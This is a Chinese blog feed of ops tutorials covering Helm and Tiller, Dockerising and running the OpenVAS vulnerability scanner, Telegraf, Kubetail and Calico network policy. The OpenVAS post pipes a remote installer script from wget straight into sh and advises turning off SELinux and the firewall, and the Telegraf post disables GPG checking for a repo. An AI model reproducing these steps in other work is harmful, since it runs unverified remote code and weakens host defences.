&lt;li&gt;Release: 在 Kubernetes 集群上运行的 Chart 的一个实例。在同一个集群上，一个 Chart 可以安装很多次。每次安装都会创建一个新的 release。例如一个 MySQL Chart，如果想在服务器上运行两个数据库，就可以把这个 Chart 安装两次。每次安装都会生成自己的 Release，会有自己的 Release 名称。&lt;/li&gt;
&lt;li&gt;Repository：用于存放和共享 Chart 的仓库。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;简单说来，Helm 整个系统的主要任务就是，在仓库中查找需要的 Chart，然后把 Chart 以 Release 的形式安装到 Kubernetes 之中&lt;/p&gt;

&lt;h2 id=&#34;组件&#34;&gt;组件&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Helm Client：客户端，具有对 Repository、Chart、Release 等对象的管理能力。&lt;/li&gt;
&lt;li&gt;Tiller Server：负责客户端指令和 Kubernetes 集群之间的沟通，根据 Chart 定义，生成和管理各种相对应的 API Object。&lt;/li&gt;
&lt;li&gt;Repository：Chart 的仓库，基本上就是索引文件 + Chart 压缩包的一个存储托管。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;环境要求&#34;&gt;环境要求&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;可用的 Kubernetes 集群&lt;/li&gt;
&lt;li&gt;正确的可用的 kubectl config&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;简单做法&#34;&gt;简单做法&lt;/h3&gt;

&lt;p&gt;只要一个简单的 &lt;code&gt;helm init&lt;/code&gt; 命令，就可以自动完成 Tiller 的安装，以及 Helm 本地设置。&lt;/p&gt;

&lt;h3 id=&#34;手工做法&#34;&gt;手工做法&lt;/h3&gt;

&lt;p&gt;在一个网络不通，或者受控网络里面，init 可能无法正常工作，所以我们需要手工完成 Init 工作。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;客户端：&lt;code&gt;helm init -c&lt;/code&gt;，会跳过 Tiller 部分，仅进行客户端的安装。

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.helm&lt;/code&gt; 中保存了对 Repository 的定义，各个 Repository 的索引的缓存，以及 Chart 压缩包的缓存。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Tiller：下面是 Tiller 的运行 YML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: &amp;quot;1&amp;quot;
generation: 1
labels:
app: helm
name: tiller
name: tiller-deploy
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
  app: helm
  name: tiller
strategy:
rollingUpdate:
  maxSurge: 1
  maxUnavailable: 1
type: RollingUpdate
template:
metadata:
  creationTimestamp: null
  labels:
    app: helm
    name: tiller
spec:
  containers:
  - env:
    - name: TILLER_NAMESPACE
      value: kube-system
    image: gcr.io/kubernetes-helm/tiller:v2.2.3
    imagePullPolicy: IfNotPresent
    livenessProbe:
      failureThreshold: 3
      httpGet:
        path: /liveness
        port: 44135
        scheme: HTTP
      initialDelaySeconds: 1
      periodSeconds: 10
      successThreshold: 1
      timeoutSeconds: 1
    name: tiller
    ports:
    - containerPort: 44134
      name: tiller
      protocol: TCP
    readinessProbe:
      failureThreshold: 3
      httpGet:
        path: /readiness
        port: 44135
        scheme: HTTP
      initialDelaySeconds: 1
      periodSeconds: 10
      successThreshold: 1
      timeoutSeconds: 1
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  securityContext: {}
  terminationGracePeriodSeconds: 30
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Service&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  creationTimestamp: 2017-03-27T15:06:49Z
  labels:
    app: helm
    name: tiller
  name: tiller-deploy
  namespace: kube-system
spec:
  clusterIP: 10.3.251.197
  ports:
  - name: tiller
    port: 44134
    protocol: TCP
    targetPort: tiller
  selector:
    app: helm
    name: tiller
  sessionAffinity: None
  type: ClusterIP
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意楼上的 Service 代码表明 Tiller 并没有用 NodePort 或者 Ingress/Loadbalancer 等方式暴露端口，因此这里&lt;strong&gt;推测&lt;/strong&gt; Helm 同 Tiller 的通信可能是利用 kubectl proxy 完成的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;常用操作&#34;&gt;常用操作&lt;/h2&gt;

&lt;p&gt;下面列举了一个简单的安装数据库的操作过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;helm search mysql #搜索
helm inspect stable/mariadb #查看
helm install stable/mariadb #安装
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很明显，上面的命令没有对 Chart 的而运行做任何指导，实际上没什么用，我们可以利用 &lt;code&gt;--set&lt;/code&gt; 或者 &lt;code&gt;--value&lt;/code&gt; 参数，来指定在我们 Inspect 命令中看到的变量的值，就可以完成对变量的设置了。&lt;/p&gt;

&lt;p&gt;除了利用简单的模板功能来生成和控制 pvc/secret 等各种对象之外， Chart 还具有很重要的依赖管理功能。&lt;/p&gt;

&lt;h2 id=&#34;自建-chart&#34;&gt;自建 Chart&lt;/h2&gt;

&lt;p&gt;简单的一个 &lt;code&gt;helm create&lt;/code&gt; 命令就可以初始化一个 chart。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;├── Chart.yaml # Chart 的文件主要信息
├── charts # 依赖的 Chart
├── templates # 模板目录，用 gotpl 编写 Kubernetes 运行 App 所需的各种对象定义
│   ├── NOTES.txt
│   ├── _helpers.tpl
│   ├── deployment.yaml
│   └── service.yaml
└── values.yaml # 缺省值定义
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编写完成之后，使用 &lt;code&gt;helm package&lt;/code&gt; 命令可以将 chart 打包为 tgz 格式。&lt;/p&gt;

&lt;p&gt;最后可以运行 &lt;code&gt;helm install ./some.chart.tgz&lt;/code&gt; 来运行本地的 Chart。&lt;/p&gt;

&lt;h2 id=&#34;自建-repository&#34;&gt;自建 Repository&lt;/h2&gt;

&lt;p&gt;很明显的，我们需要一个自建仓库，不过幸运的是，Helm 仓库并不像 Docker Image Registry 之类的东西那么麻烦。只要一个能相应 GET 请求并提供 YAML 和 TAR 文件的 HTTP 服务器就可以了。&lt;/p&gt;

&lt;p&gt;最简单的，可以用 &lt;code&gt;helm serve&lt;/code&gt; 命令就可以了：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;首先创建一个文件夹用于保存 Chart&lt;/li&gt;
&lt;li&gt;把上面我们 &lt;code&gt;helm package&lt;/code&gt; 生成的压缩包复制进去&lt;/li&gt;
&lt;li&gt;&lt;code&gt;helm serve --repo-path repo&lt;/code&gt; 就会运行一个简单的 HTTP Server 提供 Helm chart 仓库的服务了。&lt;/li&gt;
&lt;li&gt;运行&lt;code&gt;helm repo add some-repo http://repo-url&lt;/code&gt; 命令，添加仓库到系统中。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外可以利用 github 以及各种 HTTP 服务器来提供这一服务。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OpenVAS 打包记</title>
      <link>/post/openvas-to-docker-image/</link>
      <pubDate>Thu, 23 Mar 2017 21:05:33 +0800</pubDate>
      <guid>/post/openvas-to-docker-image/</guid>
      <description>

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker pull dustise/openvas&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git clone https://github.com/fleeto/docker-openvas.git&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上回书说到的 OpenVAS，其中的安装过程用的居然不是 Docker，其主要原因有：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;第一，安装使用都不熟悉，直接上手第三方比较容易跑偏，官网靠谱一点（现在我知道了，官网也有不靠谱的）。&lt;/li&gt;
&lt;li&gt;第二，因为上面的原因，Docker Hub 上的 &lt;code&gt;mikesplain/openvas-docker&lt;/code&gt; 不得要领，尤其是客户端连接这部分。（后来知道他的强制更新高估了天朝的网络条件）。&lt;/li&gt;
&lt;li&gt;第三，我喜新厌旧，不想用老旧的 8 版本。&lt;/li&gt;
&lt;li&gt;第四，多语言支持，在上述 Docker Hub 版本上删节了。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;但是作为一个容器云鼓吹者，不弄个顺手的封装的确是不合适的，所以花了些时间，重新来了一次，中间波折蛮多，不过也多了些容器封装方面的经验，就此记录下来。&lt;/p&gt;

&lt;h2 id=&#34;openvas-组件&#34;&gt;OpenVAS 组件&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;openvassd：OpenVAS Scanner，扫描器，会根据本地漏洞库对任务目标进行扫描，是扫描任务的执行者。&lt;/li&gt;
&lt;li&gt;openvasmd：OpenVAS Manager，管理服务，任务和各种漏洞库的管理。&lt;/li&gt;
&lt;li&gt;gsad：Greenbone Security Assistent，他不是 Open VAS 的产品，在这里用作 Web 端，和 OpenVAS Manager 协同工作。&lt;/li&gt;
&lt;li&gt;omp: 命令行客户端。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;基础镜像的选择&#34;&gt;基础镜像的选择&lt;/h2&gt;

&lt;p&gt;基于尺寸考虑，个人一般是首选 Alpine Linux。对于普通的 Java、PHP 应用，以及相对成熟的被 APK 支持的软件都会使用这个。&lt;/p&gt;

&lt;p&gt;需要编译的东西一般就比较烦了，Alpine 的一些基础包跟主流世界不太一样，一般尝试失败的话，会选择 Ubuntu/Debian 或者 CentOS 之类。最先尝试的是 CentOS，但因为库版本的问题导致编译起来问题多多，最后无奈回到 Ubuntu。&lt;/p&gt;

&lt;h2 id=&#34;守护进程问题&#34;&gt;守护进程问题&lt;/h2&gt;

&lt;p&gt;一般来说，各种服务都以后台运行，然而在容器环境下，需要挂在前台保持容器的运行，所以单进程的服务我们一般都会强制其以前台运行，多进程的服务，通常会使用 SupervisorD 来完成各个服务的启动和运行、维持等操作。&lt;/p&gt;

&lt;h2 id=&#34;调试过程&#34;&gt;调试过程&lt;/h2&gt;

&lt;p&gt;一般来说我会准备一个脚本用于构建镜像。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;首先用交互模式启动基础镜像，例如 &lt;code&gt;docker run -it --rm ubuntu bash&lt;/code&gt;，其中可以添加环境变量等设置。&lt;/li&gt;
&lt;li&gt;可以利用 &lt;code&gt;docker cp&lt;/code&gt; 命令传输文件到运行中的容器。&lt;/li&gt;
&lt;li&gt;之后的过程和平时的编译安装并无不同，configure/cmake 等查找缺失的库，尽可能用 apt/yum/apk 进行依赖库的安装。&lt;/li&gt;
&lt;li&gt;因为要使用 OMP，所以我们需要调整 OpenVAS Manager 的启动参数，要求其暴露端口。&lt;/li&gt;
&lt;li&gt;另外，OpenVAS 提供了配置检查功能，openvas-check-setup，其中对设置会有很多建议，逐条完善即可，窃以为，这是对这个不愉快的安装过程的最大安慰。&lt;/li&gt;
&lt;li&gt;每一步都记录到前面提到的 prepare.sh 脚本之中&lt;/li&gt;
&lt;li&gt;能正常运行之后，取出脚本，编写 Dockerfile。&lt;/li&gt;
&lt;li&gt;打包测试。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;坑&#34;&gt;坑&lt;/h2&gt;

&lt;h3 id=&#34;gnupg-的问题&#34;&gt;gnupg 的问题&lt;/h3&gt;

&lt;p&gt;OpenVAS Manager 首次运行会需要利用 gnupg 来生成 Key，但是在容器环境下，随机数设备受宿主系统保护，会导致启动过程挂起，因此这里用了个土办法，生成好之后直接植入进去。&lt;/p&gt;

&lt;h3 id=&#34;manager-的-scanner-socket-参数&#34;&gt;Manager 的 Scanner Socket 参数&lt;/h3&gt;

&lt;p&gt;在 Scanner 指定了不同的 Sock 位置之后，Manager 做出相应的变更进行启动，部分操作仍然会走向缺省配置，推测是其中有一些硬编码，只是推测，并没有深入调查。&lt;/p&gt;

&lt;h3 id=&#34;sqlite-3&#34;&gt;SQLite 3&lt;/h3&gt;

&lt;p&gt;这一软件是 gsad 的一个非常硬的依赖，但是在他的编译过程中并无需求，具体症状就是 Greenbone 有两个同步进程闪退，无法执行，需要用 &amp;ndash;selftest 运行才找到问题所在。&lt;/p&gt;

&lt;h3 id=&#34;更新过程&#34;&gt;更新过程&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;一定要有互联网连接。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;更新过程第一是非常漫长，时间长度需要看网络条件和某伟大基础网络设施的心情。&lt;/p&gt;

&lt;p&gt;接下来 Scanner 和 Manager 都需要进行相应的更新，才能正常工作。&lt;/p&gt;

&lt;p&gt;最后，写了一个 update.all.sh 来完成这一工作。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OpenVAS 的简单安装和使用</title>
      <link>/post/openvas-basic/</link>
      <pubDate>Fri, 17 Mar 2017 09:51:34 +0800</pubDate>
      <guid>/post/openvas-basic/</guid>
      <description>

&lt;p&gt;OpenVAS 是一个开源的漏洞评估系统。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;这里用 CentOS 7 Minimal 版本开始安装&lt;/li&gt;
&lt;li&gt;开始之前，首先关闭 Selinux 和 firewalld，以免造成一些不必要的干扰，安装完成后可以酌情开启。&lt;/li&gt;
&lt;li&gt;考虑到一些特殊的网络状况，可能需要&lt;strong&gt;设置代理服务器&lt;/strong&gt;，注意后面的安装可能用到 RSYNC，所以设置代理的时候也要加上：&lt;code&gt;RSYNC_PROXY=10.211.55.2:8016&lt;/code&gt; 诸如此类的语句。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后是一些必要的工具准备：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yum install -y bzip2 wget net-tools&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;安装过程需要借助第三方源进行，简单的一个命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;wget -q -O - http://www.atomicorp.com/installers/atomic | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意代理服务器&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来就是：&lt;code&gt;yum install openvas&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;安装过程稍嫌繁琐，包括设置密码，监听地址等内容。最后还需要进行数据更新，时间可能较长。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;选择下载工具的一步：curl/wget/rsync 三选一，这里尽可能选择 rsync，因为 curl 和 wget 都只下载 nvt 数据，而其余无法下载的数据在后面还是需要的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;检查&#34;&gt;检查&lt;/h2&gt;

&lt;p&gt;安装结束之后会启动几个服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;redis：数据库&lt;/li&gt;
&lt;li&gt;openvas-manager：调度服务&lt;/li&gt;
&lt;li&gt;openvas-scanner：扫描服务&lt;/li&gt;
&lt;li&gt;gsad：前端&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外，OpenVas 还提供了安装检查工具&lt;code&gt;openvas-check-setup&lt;/code&gt;，该工具运行过程中将会检查安装情况以及数据完整性，并给出相应的操作、补救建议。&lt;/p&gt;

&lt;p&gt;一切就绪后，可以打开缺省端口 9392 尝试使用了，例如&lt;code&gt;https://openvas:9392&lt;/code&gt;，打开后是个丑陋的登录页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-login.png&#34; alt=&#34;login&#34; /&gt;&lt;/p&gt;

&lt;p&gt;输入用户名密码之后，就进入系统的首页了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-first.png&#34; alt=&#34;landing&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;任务和运行&#34;&gt;任务和运行&lt;/h2&gt;

&lt;h3 id=&#34;新建一个任务&#34;&gt;新建一个任务&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-new-task.png&#34; alt=&#34;task&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Host：被扫描检测的主机，主机列表可以在主菜单的 Asset Management 下级 Host 中找到。&lt;/li&gt;
&lt;li&gt;Scan Config：扫描的配置，可以在 Configuration -&amp;gt; Scan Config 中找到。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;运行&#34;&gt;运行&lt;/h3&gt;

&lt;p&gt;在 Scan Management 中可以看到任务列表，点击右侧的播放按钮即启动运行
运行时间随扫描目标、服务器性能、以及扫描配置影响，可能会很长。
最终生成的报告：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-report.png&#34; alt=&#34;report&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;openvas-cli&#34;&gt;openvas-cli&lt;/h2&gt;

&lt;p&gt;前面提到，这个扫描过程可能很长，另外，为了配合我们的每日构建或者其他的周期性检查，可以使用 openvas 的命令行工具来进行任务的控制。&lt;/p&gt;

&lt;p&gt;下面举几个典型的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -T # 获取系统中保存的主机，会列出名字和 UUID
omp -g # 获取系统中现有的扫描配置，会列出名字和 UUID
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -w admin -u admin \
  -C -n autotask -t b493b7a8-7489-11df-a3ec-002264764cea \
  -c daba56c8-73ec-11df-a475-002264764cea

# 上面的命令创建了一个任务，名字叫 autotask，
# 目标主机的 ID 为 b493b7a8-7489-11df-a3ec-002264764cea，
# 扫描配置的 ID 为 daba56c8-73ec-11df-a475-002264764cea
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -G # 列出 Task 的名字和 UUID
omp -M 22bc21be-3eeb-4d43-9157-07515120c574 # 启动一个任务
omp -G  22bc21be-3eeb-4d43-9157-07515120c574 # 列出该 ID 任务的执行列表（每次任务执行都会有一个新的下一级的 UUID，用于记录执行情况）
omp -R fa7b3c8f-db75-44f6-8821-910f8f4b83e2 # 获取这一次执行的结果报表
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了上述内容，就可以完成漏洞扫描的自动触发，甚至可以根据最终报表，来进行数据分析和告警等后续动作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;openvas-nvt-sync、openvas-certdata-sync、openvas-nvt-sync 三个工具用于更新数据，应定时运行。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>利用 Telegraf 进行简单的系统监控</title>
      <link>/post/telegraf-monitor/</link>
      <pubDate>Wed, 15 Mar 2017 07:09:26 +0800</pubDate>
      <guid>/post/telegraf-monitor/</guid>
      <description>

&lt;p&gt;InfluxData 除了广为人知的 InfluxDB 之外，还有几个其他的产品，合称 TICK：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Telegraf：数据采集&lt;/li&gt;
&lt;li&gt;InfluxDB：数据存储&lt;/li&gt;
&lt;li&gt;Chronograf：数据展现&lt;/li&gt;
&lt;li&gt;Kapacitor：数据分析、告警&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在翻看 InfluxDB 的时候偶然发现了这个东西，虽然 Tick 四兄弟捆起来也不够看，不过 Telegraf 足够小巧，而且自动化的可能性更大，更符合目前的做事风格，所以就学习一下。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;官宣： The plugin-driven server agent for collecting &amp;amp; reporting metrics.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所以 Telegraf 主要是一个框架，由数据输入、处理、输出三大类插件完成各种功能。Github 的 README.md 中列出了主要插件：&lt;code&gt;https://github.com/influxdata/telegraf&lt;/code&gt;。总的来说还是比较丰富的，下面的操作将利用简单的输入插件结合 InfluxDB 输出插件完成一个初步的指标收集过程。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;centos&#34;&gt;CentOS&lt;/h3&gt;

&lt;p&gt;生成如下的 repo 文件：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[influxdb]
name = InfluxDB Repository - RHEL $releasever
baseurl = https://repos.influxdata.com/rhel/$releasever/$basearch/stable
enabled = 1
gpgcheck = 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;yum install -y telegraf&lt;/code&gt; 即可完成安装。&lt;/p&gt;

&lt;h3 id=&#34;docker&#34;&gt;Docker&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;docker pull telegraf&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;

&lt;p&gt;yum 安装后在 &lt;code&gt;/etc/telegraf&lt;/code&gt; 下会生成一个 &lt;code&gt;telegraf.conf&lt;/code&gt; 文件。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;配置文件中可以使用 &amp;ldquo;$ENV_ITEM&amp;rdquo; 的形式使用环境变量。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;global-tags&#34;&gt;global_tags&lt;/h3&gt;

&lt;p&gt;这里记录的内容将作为 Tags 保存到 InfluxDB 的每个 Item 中。&lt;/p&gt;

&lt;h3 id=&#34;agent&#34;&gt;agent&lt;/h3&gt;

&lt;p&gt;这一节内容是数据搜集服务的行为定义。这里暂时无需进行改动&lt;/p&gt;

&lt;h3 id=&#34;outputs-influxdb&#34;&gt;outputs.influxdb&lt;/h3&gt;

&lt;p&gt;这里用于定义写入的 InfluxDB。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;urls = [&amp;quot;http://localhost:8086&amp;quot;]
database = &amp;quot;telegraf&amp;quot;
timeout = &amp;quot;5s&amp;quot;
username = &amp;quot;telegraf&amp;quot;
password = &amp;quot;abcde!@#$%&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;urls 参数是一个数组，代表一个集群，如果其中包含多个服务，则每次只会选择其中一台进行写入。&lt;/p&gt;

&lt;p&gt;而在 inputs 一节中，缺省启用了很多系统属性，例如磁盘，网络等，这里我们添加一点 http 监控内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[[inputs.http_response]]
address = &amp;quot;http://163.com&amp;quot;
response_timeout = &amp;quot;5s&amp;quot;
method = &amp;quot;GET&amp;quot;

[[inputs.http_response]]
address = &amp;quot;http://sina.com.cn&amp;quot;
response_timeout = &amp;quot;5s&amp;quot;
method = &amp;quot;GET&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;小窍门：可以用 &lt;code&gt;telegraf -config telegraf.conf -input-filter http_response -test&lt;/code&gt; 命令，来检查配置的正确性。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;配置文件编写完成之后，就可以利用 &lt;code&gt;systemctl start telegraf&lt;/code&gt;，启动 telegraf 服务了。&lt;/p&gt;

&lt;p&gt;启动之后，Telegraf 会在一定的时间间隔里向 InfluxDB 汇报数据。我们可以在 InfluxDB UI 中利用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;select * from cpu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样的语句来查询数据，或者接入 Grafana 等进行展现。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>简单的 Kubernetes Pod 日志查看工具 Kubetail</title>
      <link>/post/introducing-kubetail/</link>
      <pubDate>Sat, 11 Mar 2017 01:47:52 +0800</pubDate>
      <guid>/post/introducing-kubetail/</guid>
      <description>

&lt;p&gt;​传统来说，Kubernetes 环境下的日志都是靠 FluentD + ElasticSearch + Kibana 的组合实现的，这一组合的功能和强大，所以成为一个事实标准来使用，但是在一些比较简陋的测试集群中，或者不具备浏览器条件的自动化/控制台环境下，归并多个 Pod 的日志进行集中的查看和处理还是很有用的。&lt;/p&gt;

&lt;p&gt;Kubetail 是一个 Bash 脚本，功能类似 &lt;code&gt;kubectl -f logs pod-name&lt;/code&gt;，但是不同的是，他同时对多个 Pod 工作，并把日志合并到一个流中。&lt;/p&gt;

&lt;p&gt;项目网址：&lt;a href=&#34;https://github.com/johanhaleby/kubetail&#34; target=&#34;_blank&#34;&gt;github&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;只是个脚本，可以直接下载安装。&lt;/p&gt;

&lt;h3 id=&#34;mac-用户&#34;&gt;Mac 用户：&lt;/h3&gt;

&lt;p&gt;brew tap johanhaleby/kubetail &amp;amp;&amp;amp; brew install kubetail&lt;/p&gt;

&lt;h3 id=&#34;使用&#34;&gt;使用&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;kubetail [-h] [-c] [-n] [-t] [-l] [-s] pod-name-prefix

-c：多容器 Pod 中，指定容器名称
-t：指定 kube config 文件中的 context
-l：标签过滤器，使用 -l 参数之后，会忽略后面的 pod 名称
-n：namespace
-s：只返回一个相对时间之后的日志，例如 5s，2m 或者 3h，缺省是 10s
-b：是否使用 line-buffered。缺省为 false
-k：输出的着色
pod：只给 pod 名称上色
line：整行上色（缺省）
false：不上色
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>借助 Calico，管窥 Kubernetes 网络策略</title>
      <link>/post/network-policy-basic-calico/</link>
      <pubDate>Thu, 09 Mar 2017 20:37:41 +0800</pubDate>
      <guid>/post/network-policy-basic-calico/</guid>
      <description>

&lt;p&gt;Kubernetes 提出了一系列 CXI 的标准容器接口，其中的 CNI 以插件方式支持多种网络。新增的 networkpolicy API 对象，提供了对网络策略的支持，本文以 Calico 为例，实际操作一个网络策略的创建和测试。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;一个 Kubernetes 集群&lt;/li&gt;
&lt;li&gt;Kubelet 和 API Server 都开启了 &lt;code&gt;--allow_privileged=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubelet 指定使用 CNI ：&lt;code&gt;--network-plugin=cni&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;为了避免某些不可描述的网络设施的影响，建议下载几个镜像

&lt;ul&gt;
&lt;li&gt;quay.io/calico/node:v1.0.2&lt;/li&gt;
&lt;li&gt;calico/cni:v1.5.6&lt;/li&gt;
&lt;li&gt;calico/kube-policy-controller:v0.5.2&lt;/li&gt;
&lt;li&gt;calico/ctl:v1.0.2&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;运行-calico&#34;&gt;运行 Calico&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;下载 &lt;code&gt;http://docs.projectcalico.org/v2.0/getting-started/kubernetes/installation/hosted/calico.yaml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果用私库镜像，需要修改其中的几个镜像地址&lt;/li&gt;
&lt;li&gt;修改 &lt;code&gt;data/etcd_endpoints&lt;/code&gt; 的数据为可访问的 etcd 的地址。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;kubectl create -f calico.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这里在 kube-system 中创建了一个 DaemonSet 和一个 Deployment，分别用于提供 CNI 支持和网络策略支持。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get deployment,daemonset,svc --all-namespaces                                          [9:55:14]
NAMESPACE     NAME                              DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE
kube-system   deploy/calico-policy-controller   1         1         1            1           10h

NAMESPACE     NAME             DESIRED   CURRENT   READY     NODE-SELECTOR   AGE
kube-system   ds/calico-node   2         2         2         &amp;lt;none&amp;gt;          10h

NAMESPACE   NAME             CLUSTER-IP        EXTERNAL-IP   PORT(S)   AGE
default     svc/kubernetes   172.200.0.1       &amp;lt;none&amp;gt;        443/TCP   19h
default     svc/nginx        172.200.183.204   &amp;lt;none&amp;gt;        80/TCP    9h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;网络策略&#34;&gt;网络策略&lt;/h2&gt;

&lt;p&gt;为测试效果，我们首先创建一个 Namespace&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl create ns policy&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;然后是 Nginx 部署和服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
kind: ReplicationController
apiVersion: v1
metadata:
  name: nginx
  labels:
    name: nginx
spec:
  replicas: 1
  selector:
    name: nginx
  template:
    metadata:
      labels:
        name: nginx
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
          protocol: TCP

---
kind: Service
apiVersion: v1
metadata:
  name: nginx
  labels:
    name: nginx
spec:
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
  selector:
    name: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后我们用 alpine 镜像测试一下对这一服务进行访问：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl run alpine --rm -it --image=alpine sh&lt;/code&gt;&lt;/p&gt;

